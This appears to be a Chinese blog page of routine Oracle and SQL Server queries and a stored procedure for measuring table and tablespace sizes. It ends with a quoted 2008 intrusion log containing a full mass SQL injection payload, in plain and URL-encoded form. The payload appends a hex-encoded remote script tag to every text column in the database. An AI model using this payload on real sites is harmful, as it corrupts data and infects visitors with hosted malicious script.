常用sql语句,计算表大小,sql注入

来源:互联网 发布:javascript for in循环 编辑:程序博客网 时间:2024/06/06 06:46

查看表空间的数据文件路径及大小
SELECT TABLESPACE_NAME,BYTES/1024/1024 MB,FILE_NAME
FROM DBA_DATA_FILES where tablespace_name='IWAFER'


查看一个表的表空间
select OWNER,TABLE_NAME,tablespace_name
from dba_tables where TABLE_NAME='品种表';

查看当前用户每个表占用空间的大小:
    Select Segment_Name,Sum(bytes)/1024/1024 From User_Extents Group By Segment_Name

查看每个表空间占用空间的大小:
    Select Tablespace_Name,Sum(bytes)/1024/1024 From Dba_Segments Group By Tablespace_Name

sqlserver 计算表大小
CREATE PROCEDURE [sp_GetDataInfo]

AS


set nocount on
declare @db varchar(20)
set @db = db_name()
dbcc updateusage(@db) with no_infomsgs


create table #tblspace
(

 数据表名称 varchar(50) null,
 记录笔数 int null,
 保留空间 varchar(15) null,
 数据使用空间 varchar(15) null,
 索引使用空间 varchar(15) null,
 未使用空间 varchar(15) null,

)
declare @tblname varchar(50)
declare curtbls cursor for
 select table_name from information_schema.tables
 where table_type = 'base table'
open curtbls
Fetch next from curtbls into @tblname
while @@fetch_status = 0
begin
 insert #tblspace exec sp_spaceused @tblname
 fetch next from curtbls into @tblname
end
close curtbls
deallocate curtbls

select * from #tblspace order by
convert(int,left(保留空间,len(保留空间)-2)) desc
drop table #tblspace
GO

别人用来注入的代码

错误信息:受到来自202.165.185.210的攻击,请求的url:http://www.****.com.cn/products/newproduct.aspx?id=1';dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=['+@c+']+cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F312E636F6F6C302E62697A2F312E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;-- ,攻击代码:id=1'%3bdEcLaRe+%40t+vArChAr(255)%2c%40c+vArChAr(255)+dEcLaRe+tAbLe_cursoR+cUrSoR+FoR+sElEcT+a.nAmE%2cb.nAmE+FrOm+sYsObJeCtS+a%2csYsCoLuMnS+b+wHeRe+a.iD%3db.iD+AnD+a.xTyPe%3d'u'+AnD+(b.xTyPe%3d99+oR+b.xTyPe%3d35+oR+b.xTyPe%3d231+oR+b.xTyPe%3d167)+oPeN+tAbLe_cursoR+fEtCh+next+FrOm+tAbLe_cursoR+iNtO+%40t%2c%40c+while(%40%40fEtCh_status%3d0)+bEgIn+exec('UpDaTe+%5b'%2b%40t%2b'%5d+sEt+%5b'%2b%40c%2b'%5d%3d%5b'%2b%40c%2b'%5d%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F312E636F6F6C302E62697A2F312E6A733E3C2F7363726970743E3C212D2D+aS+vArChAr(67))')+fEtCh+next+FrOm+tAbLe_cursoR+iNtO+%40t%2c%40c+eNd+cLoSe+tAbLe_cursoR+dEAlLoCaTe+tAbLe_cursoR%3b--,危险参数:exec
错误发生时间:2008-5-29 2:53:43

 

原创粉丝点击